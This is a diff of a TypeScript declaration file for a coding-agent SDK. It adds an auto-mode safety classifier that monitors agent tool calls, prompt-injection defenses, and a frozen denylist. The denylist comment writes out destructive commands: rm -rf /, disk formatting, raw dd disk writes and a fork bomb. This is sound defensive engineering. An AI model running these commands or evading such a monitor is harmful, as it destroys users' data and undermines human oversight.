+ * The classifier sees a SUBSET of the main session's transcript:
4321
+ *
4322
+ * - user messages (text and tool_result blocks) KEEP
4323
+ * - assistant tool_use blocks (factual record) KEEP
4324
+ * - assistant text + thinking + redacted_thinking DROP
4325
+ *
4326
+ * Why drop assistant reasoning:
4327
+ * 1. Prompt-injection defense — the main agent may have absorbed
4328
+ * instructions from a poisoned tool_result; its reasoning could
4329
+ * then propagate that injection to the classifier.
4330
+ * 2. Noise reduction — assistant prose dilutes the signal the
4331
+ * classifier needs (user intent + actual tool calls).
4332
+ * 3. Cost — main-session reasoning can be tens of KB; classifier
4333
+ * input should stay in the few-KB range.
4334
+ *
4335
+ * Two size budgets:
4336
+ * - maxToolResultBytes (default 2KB) — per-tool_result content cap
4337
+ * - maxTranscriptBytes (default 8KB) — total serialized size cap;
4338
+ * drops middle messages first, preserves first user message
4339
+ * (original intent) and recent tail.
4340
+ */
4341
+
4342
+ interface StripOptions {
4343
+ readonly maxToolResultBytes?: number;
4344
+ readonly maxTranscriptBytes?: number;
4345
+ }
4346
+ declare function stripAssistantText(messages: readonly KodaXMessage[], opts?: StripOptions): KodaXMessage[];
4347
+
4348
+ /**
4349
+ * Parse the auto-mode classifier's output — FEATURE_092 Phase 2b.3 (v0.7.33).
4350
+ *
4351
+ * Expected format:
4352
+ * <block>yes|no</block><reason>one short sentence</reason>
4353
+ *
4354
+ * Robustness:
4355
+ * - case-insensitive yes/no
4356
+ * - whitespace inside / around tags tolerated
4357
+ * - reason is optional (treated as '' if missing)
4358
+ * - if block tag missing or value is neither yes/no → unparseable (caller
4359
+ * fail-closes to block, per design doc)
4360
+ * - reasons longer than 500 chars are truncated (defense against
4361
+ * pathological model outputs)
4362
+ * - first <block> tag wins (defense against prompt-injection echoing
4363
+ * the format with a different value later)
4364
+ */
4365
+ type ClassifierDecision = {
4366
+ readonly kind: 'block';
4367
+ readonly reason: string;
4368
+ } | {
4369
+ readonly kind: 'allow';
4370
+ readonly reason: string;
4371
+ } | {
4372
+ readonly kind: 'unparseable';
4373
+ readonly raw: string;
4374
+ };
4375
+ declare function parseClassifierOutput(raw: string): ClassifierDecision;
4376
+
4377
+ /**
4378
+ * Classifier Model Resolver — FEATURE_092 Phase 2b.5 (v0.7.33).
4379
+ *
4380
+ * Determines which (provider, model) pair the auto-mode classifier should
4381
+ * call sideQuery against. Supports a 4-layer override chain (highest wins):
4382
+ *
4383
+ * 1. CLI flag (--auto-classifier-model <spec>)
4384
+ * 2. Env var (KODAX_AUTO_CLASSIFIER_MODEL)
4385
+ * 3. Session override (/auto-model <spec>)
4386
+ * 4. User settings (~/.kodax/settings.json: autoMode.classifierModel)
4387
+ *
4388
+ * Falls back to the main session's (provider, model) when no override is
4389
+ * set — matching Claude Code's "use the same model you'd use for coding"
4390
+ * default. Spec format: "provider:model" or just "model" (provider then
4391
+ * inherits from the default-main).
4392
+ *
4393
+ * This module does NOT instantiate a KodaXBaseProvider — it returns names.
4394
+ * The actual provider lookup happens at the AutoModeToolGuardrail call site
4395
+ * (Phase 2b.6) so this module stays trivially testable without
4396
+ * provider-registry side effects.
4397
+ *
4398
+ * Capability check (provider.supportsAutoModeClassifier) is deferred to a
4399
+ * follow-up phase — extending FEATURE_029 capability profiles touches every
4400
+ * provider. For v1 the call simply fails fast at sideQuery time if the
4401
+ * provider can't stream text.
4402
+ */
4403
+ interface ParsedModelSpec {
4404
+ readonly providerName: string | null;
4405
+ readonly model: string;
4406
+ }
4407
+ type ResolveSource = 'cli' | 'env' | 'session-override' | 'user-settings' | 'default-main';
4408
+ interface ResolveClassifierModelOptions {
4409
+ readonly cliFlag?: string;
4410
+ readonly envVar?: string;
4411
+ readonly sessionOverride?: string;
4412
+ readonly userSettings?: string;
4413
+ readonly defaultProvider: string;
4414
+ readonly defaultModel: string;
4415
+ }
4416
+ interface ResolvedClassifierModel {
4417
+ readonly providerName: string;
4418
+ readonly model: string;
4419
+ readonly source: ResolveSource;
4420
+ }
4421
+ declare function parseModelSpec(spec: string): ParsedModelSpec;
4422
+ declare function resolveClassifierModel(opts: ResolveClassifierModelOptions): ResolvedClassifierModel;
4423
+
4424
+ /**
4425
+ * Bash Signal Collector — FEATURE_158 Step 3 (v0.7.39).
4426
+ *
4427
+ * Command-string-level mechanical pattern matches over a `bash` tool call.
4428
+ * Produces signals the auto-mode classifier consumes as informational input
4429
+ * (NOT verdicts — see `signals.ts` invariants).
4430
+ *
4431
+ * Scope of this collector:
4432
+ * - dangerous_pattern (wraps `classifyBashCommand` from bash-classifier.ts;
4433
+ * DEFAULT_DANGEROUS_PATTERNS hits become signals)
4434
+ * - network (curl / wget / fetch literal token)
4435
+ * - package_install (npm/pnpm/yarn/pip/cargo/apt/brew install verbs)
4436
+ * - git_write (commit / push / reset / clean / rebase /
4437
+ * cherry-pick / revert)
4438
+ *
4439
+ * **Out of scope (deferred to REPL-side `extraCollectors`)**:
4440
+ * - protected_path / outside_project signals that depend on extracting
4441
+ * paths from a bash command argv. The AST + path-extraction utilities
4442
+ * live in `@kodax/repl` for historical reasons (Issue 131 root cause);
4443
+ * keeping this module repl-independent preserves layer boundaries
4444
+ * (ADR-021). The guardrail accepts `extraCollectors` so REPL can inject
4445
+ * a path-aware bash collector built on its `extractPathsFromCommand`.
4446
+ *
4447
+ * Purity: deterministic given `call.input.command`. No async, no I/O.
4448
+ */
4449
+
4450
+ declare const bashSignalCollector: SignalCollector;
4451
+
4452
+ /**
4453
+ * File Signal Collector — FEATURE_158 Step 3 (v0.7.39).
4454
+ *
4455
+ * Produces signals for `write` / `edit` tool calls about the target path's
4456
+ * relation to the project + protected zones. Used by the auto-mode
4457
+ * classifier as informational input (NOT verdicts — see `signals.ts`
4458
+ * invariants).
4459
+ *
4460
+ * Signal kinds produced:
4461
+ * - protected_path (path under <projectRoot>/.kodax or ~/.kodax)
4462
+ * - outside_project (path outside projectRoot AND outside system temp)
4463
+ * - file_modification (always emitted with target path — coarse-grained
4464
+ * flag for the classifier to anchor file-edit context)
4465
+ *
4466
+ * Tier 0 (absolute deny) for `~/.kodax/` writes is a separate module —
4467
+ * this collector still emits the protected_path signal for `~/.kodax/`
4468
+ * because the classifier prompt benefits from seeing it, but Tier 0
4469
+ * intercepts before the classifier ever runs in production. The signal
4470
+ * here remains useful for tests and for downgraded engine paths.
4471
+ *
4472
+ * Purity: deterministic given `call.input.path` + `projectRoot` + stable
4473
+ * env (KODAX_HOME, system temp). `getAgentConfigHome()` and `os.tmpdir()`
4474
+ * are env-stable per process — acceptable per `signals.ts` purity contract.
4475
+ */
4476
+
4477
+ declare const fileSignalCollector: SignalCollector;
4478
+
4479
+ /**
4480
+ * Tier 0 — Absolute Denylist — FEATURE_158 Step 4 (v0.7.39).
4481
+ *
4482
+ * The narrowest possible set of catastrophic patterns that must NEVER reach
4483
+ * the LLM classifier (which is fallible / can be prompt-injected). Per
4484
+ * ADR-025: every entry here must satisfy BOTH gates:
4485
+ *
4486
+ * (a) "is there any legitimate context in which this should be allowed?"
4487
+ * — answer must be **no**.
4488
+ * (b) "could the LLM be convinced to allow it under prompt injection?"
4489
+ * — answer must be **yes** (otherwise classifier is sufficient).
4490
+ *
4491
+ * The 5-item list is **frozen** by ADR-025; adding entries requires a new
4492
+ * ADR addendum answering (a)+(b) again. Removing entries requires evidence
4493
+ * of high-volume false-positive friction.
4494
+ *
4495
+ * Patterns:
4496
+ *
4497
+ * 1. rm_rf_root — `rm -rf /`, `rm -rf ~`, `rm -rf $HOME` (and quoted
4498
+ * / -fr variants). Excludes `rm -rf /tmp/foo` (which
4499
+ * is a `dangerous_pattern` signal but reaches LLM).
4500
+ * 2. mkfs_or_format — `mkfs.* /dev/sd*`, `fdisk /dev/sd*`, `format C:`.
4501
+ * Block formatting any disk device.
4502
+ * 3. dd_disk_write — `dd of=/dev/sd*` (raw-disk write). Excludes
4503
+ * `dd of=test.bin` (file write — reaches LLM as
4504
+ * dangerous_pattern signal).
4505
+ * 4. fork_bomb — `:(){ :|:& };:` — denial of service.
4506
+ * 5. user_kodax_write — write/edit to any path under `~/.kodax/`
4507
+ * (credentials zone — internal kodax config writes
4508
+ * use the TypeScript API, not bash/tools, so the
4509
+ * only path here is LLM-emitted shell which is
4510
+ * always wrong).
4511
+ *
4512
+ * Layer note: bash-level `~/.kodax/` writes (e.g. `echo x > ~/.kodax/y`)
4513
+ * require AST path-extraction which lives in `@kodax/repl`. The REPL-side
4514
+ * collector wired through `extraCollectors` (Step 7) escalates those to
4515
+ * Tier 0 by emitting a synthetic `user_kodax_write` denial via the same
4516
+ * `AbsoluteDenyResult` shape. This module handles the file-tool path
4517
+ * directly (the most common attack vector) and the four command-string
4518
+ * patterns that don't need path extraction.
4519
+ */
4520
+
4521
+ type TierZeroPatternId = 'rm_rf_root' | 'mkfs_or_format' | 'dd_disk_write' | 'fork_bomb' | 'user_kodax_write';
4522
+ interface AbsoluteDenyMatch {
4523
+ readonly denied: true;
4524
+ readonly patternId: TierZeroPatternId;
4525
+ readonly reason: string;
4526
+ }
4527
+ interface AbsoluteDenyMiss {
4528
+ readonly denied: false;
4529
+ }
4530
+ type AbsoluteDenyResult = AbsoluteDenyMatch | AbsoluteDenyMiss;
4531
+ /**
4532
+ * Check a tool call against the Tier 0 absolute denylist. Returns the
4533
+ * first matching pattern, or `{ denied: false }` if no pattern fires.
4534
+ *
4535
+ * Order is deterministic — patterns checked in the order defined above.
4536
+ * Multiple matches would be possible (e.g. `rm -rf / ; :(){...};:`) but
4537
+ * we return the first hit since the guardrail acts on `denied: true`
4538
+ * regardless and the reason string is one-shot.
4539
+ *
4540
+ * **Pure**: deterministic given (call, projectRoot, stable env).
4541
+ * **Fast**: ~5 regex tests + 1-2 string ops; safe to run on every
4542
+ * non-Tier-1 call without measurable overhead.
4543
+ */
4544
+ declare function checkAbsoluteDeny(call: RunnerToolCall, projectRoot: string): AbsoluteDenyResult;
4545
+
4546
+ /**
4547
+ * Speculative Classify — FEATURE_158 Step 4 (v0.7.39).
4548
+ *
4549
+ * Races an in-flight classifier promise against a short "quiet window".
4550
+ * When the classifier returns within the window, callers can use the
4551
+ * decision immediately — no confirm dialog, no perceptible latency. When
4552
+ * the window expires first, callers fall through to the normal escalate
4553
+ * flow (confirm dialog, with the classifier still running in background
4554
+ * so the dialog can adopt the verdict if it arrives in time).
4555
+ *
4556
+ * Design ref: ADR-025 + FEATURE_158 (docs/features/v0.7.39.md).
4557
+ *
4558
+ * **The promise is NOT aborted on window expiry.** The caller retains
4559
+ * ownership; they pass the same `Promise<T>` to `speculativeRace` and
4560
+ * can `await` it elsewhere. This keeps the classifier from being
4561
+ * cancelled mid-flight when 95% of calls are sub-window — wasting the
4562
+ * remaining 5% would burn tokens already spent.
4563
+ *
4564
+ * Env knob: `KODAX_AUTO_SPECULATIVE_WINDOW_MS`
4565
+ * - default: 500 (CC's equivalent race uses ~2000ms with timeout race;
4566
+ * 500ms is conservative for first iteration, finalized after
4567
+ * micro-bench in commit body)
4568
+ * - `0` : disabled — `speculativeRace` waits forever for the promise
4569
+ * (degrades to synchronous classify)
4570
+ * - negative: treated as `0` (disabled)
4571
+ * - non-numeric: ignored, default used
4572
+ */
4573
+ type SpeculativeResult<T> = {
4574
+ readonly kind: 'resolved';
4575
+ readonly value: T;
4576
+ } | {
4577
+ readonly kind: 'window-expired';
4578
+ };
4579
+ declare const DEFAULT_WINDOW_MS = 500;
4580
+ /**
4581
+ * Read the speculative window from `process.env[ENV_VAR]`. Returns
4582
+ * `undefined` when the env var is unset or malformed (caller falls back
4583
+ * to `DEFAULT_WINDOW_MS`). Returns `0` to mean "disabled — wait forever".
4584
+ */
4585
+ declare function readWindowFromEnv(): number | undefined;
4586
+ /**
4587
+ * Race the given promise against the speculative window. Returns
4588
+ * `{kind: 'resolved', value}` when the promise wins (preferred fast path)
4589
+ * or `{kind: 'window-expired'}` when the timer wins.
4590
+ *
4591
+ * Caller responsibilities:
4592
+ * - Hold the original `promise` reference. If the window expires, the
4593
+ * caller can still `await promise` later — speculativeRace does NOT
4594
+ * cancel it.
4595
+ * - If the promise REJECTS within the window, this function rejects
4596
+ * too (callers `try/catch` or attach `.catch` upstream). When the
4597
+ * window expires before rejection, the rejection is silently
4598
+ * absorbed here (we attach a no-op `.catch` to prevent
4599
+ * UnhandledPromiseRejection) and the caller will surface it later
4600
+ * when they await the original promise.
4601
+ *
4602
+ * windowMs precedence:
4603
+ * 1. Explicit argument
4604
+ * 2. `readWindowFromEnv()`
4605
+ * 3. `DEFAULT_WINDOW_MS`
17
4606
  *
18
- * See docs/ADR.md ADR-024 for the SDK formalization decision.
4607
+ * `windowMs === 0` disables the race returns `{kind: 'resolved'}` once
4608
+ * the promise settles (equivalent to `await promise` wrapped in the
4609
+ * result shape).
19
4610
  */
20
- export * from '@kodax-ai/coding';
4611
+ declare function speculativeRace<T>(promise: Promise<T>, windowMs?: number): Promise<SpeculativeResult<T>>;
4612
+
4613
+ export { Agent, AgentMessage, AutoRules, CANCELLED_TOOL_RESULT_MESSAGE, CANCELLED_TOOL_RESULT_PREFIX, CODING_AGENTS, CODING_AGENT_MARKER, CODING_INVARIANTS, CODING_SUMMARY_PROMPT, CODING_UPDATE_SUMMARY_PROMPT, CapabilityDeniedError, CapabilityKind, CapabilityProvider, CapabilityResult, KodaXClient as Client, CompactionContext, CompactionPolicy, ConstructionManifestError, DEFAULT_CODING_AGENT_NAME, DEFAULT_DANGEROUS_PATTERNS, DEFAULT_HANDLER_TIMEOUT_MS, DEFAULT_RESILIENCE_CONFIG, DEFAULT_SAFE_PATTERNS, DEFAULT_SELF_MODIFY_BUDGET, DEFAULT_WINDOW_MS as DEFAULT_SPECULATIVE_WINDOW_MS, DEFAULT_TOOL_OUTPUT_MAX_BYTES, DEFAULT_TOOL_OUTPUT_MAX_LINES, EMIT_CONTRACT_TOOL_NAME, EMIT_HANDOFF_TOOL_NAME, EMIT_SCOUT_VERDICT_TOOL_NAME, EMIT_VERDICT_TOOL_NAME, ErrorCategory, FailureStage, GENERATOR_AGENT_NAME, KODAX_TOOLS, KodaXAmaControllerDecision, KodaXBaseProvider, KodaXChildContextBundle, KodaXClient, KodaXCompactMemorySeed, KodaXContentBlock, KodaXContextOptions, KodaXEvents, KodaXExecutionMode, KodaXExtensionRuntime, KodaXExtensionSessionRecord, KodaXFanoutBranchRecord, KodaXFanoutBranchTransition, KodaXFanoutSchedulerInput, KodaXFanoutSchedulerPlan, KodaXInputArtifact, KodaXJsonValue, KodaXMessage, KodaXOptions, KodaXParentReductionContract, KodaXProviderCapabilityProfile, KodaXProviderPolicyHints, KodaXReasoningCapability, KodaXReasoningMode, KodaXRepoIntelligenceCapability, KodaXRepoIntelligenceMode, KodaXRepoIntelligenceResolvedMode, KodaXRepoIntelligenceTrace, KodaXRepoRoutingSignals, KodaXResult, KodaXSessionArtifactLedgerEntry, KodaXSessionControl, KodaXSessionEntry, KodaXSessionError, KodaXSessionLabelEntry, KodaXSessionLineage, KodaXSessionMutators, KodaXSessionNavigationOptions, KodaXSessionTreeNode, KodaXTaskRoutingDecision, KodaXTaskType, KodaXTerminalError, KodaXThinkingDepth, KodaXToolDefinition, KodaXToolError, KodaXToolExecutionContext, KodaXToolUseBlock, LINEAGE_ENTRY_TYPES, LineageCompaction, LineageExtension, McpCapabilityProvider, McpProviderOptions, McpServersConfig, PLANNER_AGENT_NAME, PROMPT_SECTION_REGISTRY, PROTOCOL_EMITTER_TOOLS, ProviderExecutionState, ProviderRecoveryCoordinator, ProviderResilienceConfig, ProviderResiliencePolicy, READ_DEFAULT_LIMIT, READ_MAX_LINE_CHARS, READ_PREFLIGHT_SIZE_BYTES, REPOINTEL_DEFAULT_ENDPOINT, RecoveryDecision, RecoveryResult, ResilienceClassification, SCOUT_AGENT_NAME, SYSTEM_PROMPT, Session, SessionEntry, SessionErrorMetadata, SessionExtension, SignalCollector, StableBoundaryTracker, TASK_ENGINE_ROLE_AGENTS, TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME, ToolCallSignal, _resetRuntimeForTesting, activate, analyzeChangedScope, appendAuditEntry, appendSessionLineageLabel, applyFanoutBranchTransition, applySessionCompaction, applyToolResultGuardrail, archiveOldIslands, assignFanoutBranchWorker, bashSignalCollector, boundedRevise, budgetCeiling, buildAmaControllerDecision, buildCapabilityContextSections, buildClassifierPrompt, buildFallbackRoutingDecision, buildFanoutSchedulerPlan, buildLlmReviewPrompt, buildPromptMessageContent, buildPromptOverlay, buildPromptSnapshot, buildProviderCapabilitySnapshot, buildProviderPolicyHintsForDecision, buildProviderPolicyPromptNotes, buildRepoIntelligenceContext, buildRepoIntelligenceIndex, buildRepoOverview, buildSessionTree, buildSystemPrompt, buildSystemPromptSnapshot, checkAbsoluteDeny, checkIncompleteToolCalls, checkPromiseSignal, classify, classifyBashCommand, classifyError, classifyResilienceError, computeInputSignature, configureRuntime, convertCapabilityReadResult, convertProviderSearchResults, countActiveFanoutBranches, countActiveLineageMessages, createBashClassifierConfig, createBuiltinToolDefinition, createCtxProxy, createDefaultCodingAgent, createDenialTracker, createExtensionRuntime, createFanoutSchedulerInput, createKodaXTaskRunner, createPromptSection, createReasoningPlan, createSessionControl, createSessionLineage, createToolResultTruncationGuardrail, defaultPolicy, disableSelfModify, drainPendingSwaps, emitContract, emitHandoff, emitScoutVerdict, emitVerdict, evaluateProviderPolicy, exec, executeTool, extractArtifactLedger, extractComparableUserMessageText, extractHtmlTitle, extractPromptComparableText, extractTitleFromMessages, fileSignalCollector, finalizeRetrievalResult, findByVersion, findPreviousUserEntryId, forkSessionLineage, formatParallelDispatchResult, formatSize, generateSessionId, generatorAgent, generatorCodingAgent, getActiveExtensionRuntime, getAllRegisteredTools, getBuiltinRegisteredToolDefinition, getBuiltinToolDefinition, getDenialContext, getFanoutBranch, getImpactEstimate, getModuleContext, getProcessContext, getRegisteredToolDefinition, getRepoIntelligenceIndex, getRepoOverview, getRepoRoutingSignals, getRequiredToolParams, getSessionLineagePath, getSessionMessagesFromLineage, getSymbolContext, getTool, getToolDefinition, getToolRegistrations, getToolResultPolicy, hasPendingSwap, inferTaskType, inspectEditFailure, inspectRepoIntelligenceRuntime, isDeniedRecently, isParallelDispatchDirective, isToolFileMutation, isToolMutation, isToolPlanModeAllowed, listAll, list as listArtifacts, listBuiltinToolDefinitions, listConstructed, listToolDefinitions, listTools, loadHandler, markFanoutBranchCancelled, markFanoutBranchCompleted, mergeArtifactLedger, orderPromptSections, parseClassifierOutput, parseEditToolError, parseLlmReviewVerdict, parseModelSpec, persistToolOutput, plannerAgent, plannerCodingAgent, prewarmRepoIntelligenceCaches, readArtifact, readAuditEntries, readBudget, readDisableState, readWindowFromEnv as readSpeculativeWindowFromEnv, reasoningModeToDepth, reconstructMessagesWithToolGuard, recordDenial, registerCodingInvariants, registerConfiguredMcpCapabilityProvider, registerOfficialSandboxExtension, registerTool, rehydrateActiveArtifacts, remaining as remainingSelfModifyBudget, renderChangedScope, renderImpactEstimate, renderModuleContext, renderProcessContext, renderPromptSections, renderRepoOverview, renderRetrievalResult, renderSymbolContext, resetBudget, resolveClassifierModel, resolveConstructedAgent, resolveReasoningMode, resolveRepoIntelligenceMode, resolveRepoIntelligenceRuntimeConfig, resolveResilienceConfig, resolveSessionLineageTarget, resolveToolCapability, revoke, rewindSessionLineage, rollbackSelfModify, runAstRules, runKodaX, runLlmReview, runManagedTask, runOrchestration, scoutAgent, scoutCodingAgent, setActiveExtensionRuntime, setSessionLineageActiveEntry, speculativeRace, stage, startKodaX, stripAssistantText, stripHtmlToText, test as testArtifact, toolAskUserQuestion, toolBash, toolChangedDiff, toolChangedScope, toolCodeSearch, toolEdit, toolGlob, toolGrep, toolImpactEstimate, toolInsertAfterAnchor, toolModuleContext, toolPermission, toolProcessContext, toolRead, toolRepoOverview, toolSemanticLookup, toolSymbolContext, toolUndo, toolWebFetch, toolWebSearch, toolWrite, truncateHead, truncateLine, truncateTail, validateSubtaskIndependence, validateToolSchemaForProvider, warmRepoIntelligenceRuntime, webhook };
4614
+ export type { AbsoluteDenyMatch, AbsoluteDenyMiss, AbsoluteDenyResult, AgentArtifact, ArtifactStatus, AstCheckResult, AstRuleId, AstRuleViolation, AuditEntry, AuditEventKind, BashClassificationResult, BashClassifierConfig, BashRiskLevel, BudgetState, BuildClassifierPromptInput, BuildPromptInput, Capabilities, ChangedFileEntry, ChangedFileStatus, ChangedScopeAreaSummary, ChangedScopeReport, ClassifierDecision, ClassifierPrompt, ClassifyDecision, ClassifyOptions, ConstructionArtifact, ConstructionPolicy, ConstructionPolicyVerdict, CreateCtxProxyOptions, CreateKodaXTaskRunnerOptions, DenialRecord, DenialTracker, DisableState, EditRecoveryDiagnostic, EditToolErrorCode, ErrorClassification, ExecOptions, ExecResult, ExtensionCommandContext, ExtensionCommandDefinition, ExtensionCommandInvocation, ExtensionCommandResult, ExtensionContributionSource, ExtensionEventMap, ExtensionFailureDiagnostic, ExtensionFailureStage, ExtensionHookMap, ExtensionLoadSource, ExtensionLogger, ExtensionRuntimeController, ExtensionRuntimeDiagnostics, ExtensionToolBeforeHookContext, ImpactEstimateResult, KodaXAgentWorkerSpec, KodaXExtensionAPI, KodaXExtensionActivationResult, KodaXExtensionModule, KodaXPromptSection, KodaXPromptSectionDefinition, KodaXPromptSectionSlot, KodaXPromptSectionStability, KodaXPromptSnapshot, KodaXPromptSnapshotMetadata, KodaXProviderCapabilitySnapshot, KodaXProviderPolicyDecision, KodaXProviderPolicyIssue, KodaXProviderPolicyIssueSeverity, KodaXProviderSourceKind, KodaXRetrievalArtifact, KodaXRetrievalFreshness, KodaXRetrievalItem, KodaXRetrievalResult, KodaXRetrievalScope, KodaXRetrievalToolName, KodaXRetrievalTrust, LanguageCapabilityTier, LineageArtifactLedgerPayload, LineageCompactionDelegates, LineageEntryType, LineageLabelPayload, LineageTreeNode, LlmReviewClient, LlmReviewResult, LlmReviewVerdict, LoadHandlerOptions, LoadHandlerScope, LoadedExtensionDiagnostic, LocalToolDefinition, ModelProviderRegistration, ModuleCapsule, ModuleContextResult, OfficialSandboxMode, OfficialSandboxOptions, OrchestrationArtifact, OrchestrationCompletedTask, OrchestrationRunEvents, OrchestrationRunOptions, OrchestrationRunResult, OrchestrationTaskBudget, OrchestrationTaskContext, OrchestrationTaskExecution, OrchestrationTaskStatus, OrchestrationTraceEvent, OrchestrationWorkerResult, OrchestrationWorkerRunner, OrchestrationWorkerSpec, ParallelDispatchDirective, ParallelDispatchResult, ParallelSubtask, ParsedModelSpec, ProcessCapsule, ProcessContextResult, ProcessStep, ProtocolEmitterMetadata, RegisteredCapabilityProviderDiagnostic, RegisteredCommandDiagnostic, RegisteredHookDiagnostic, RegisteredToolDefinition, RegisteredToolDiagnostic, RepoAreaKind, RepoAreaOverview, RepoIntelligenceIndex, RepoIntelligenceRuntimeInspection, RepoIntelligenceRuntimeWarmResult, RepoLanguageId, RepoLanguageSupport, RepoOverview, RepoSymbolKind, RepoSymbolRecord, RepoSymbolReference, ResolveClassifierModelOptions, ResolveSource, ResolvedClassifierModel, RollbackResult, RunningSession, SchemaProvider, SchemaValidationResult, ScriptSource, SelfModifyAskUser, SelfModifyAskUserInput, SelfModifyDiffSeverity, SelfModifyDiffSummary, SpeculativeResult, StagedHandle, StripOptions, SymbolContextResult, TestArtifactOptions, TestResult, TierZeroPatternId, ToolContent, ToolDefinitionSource, ToolHandler, ToolRegistrationOptions, ToolRegistry, ToolSideEffect, WebhookOptions, WebhookResult };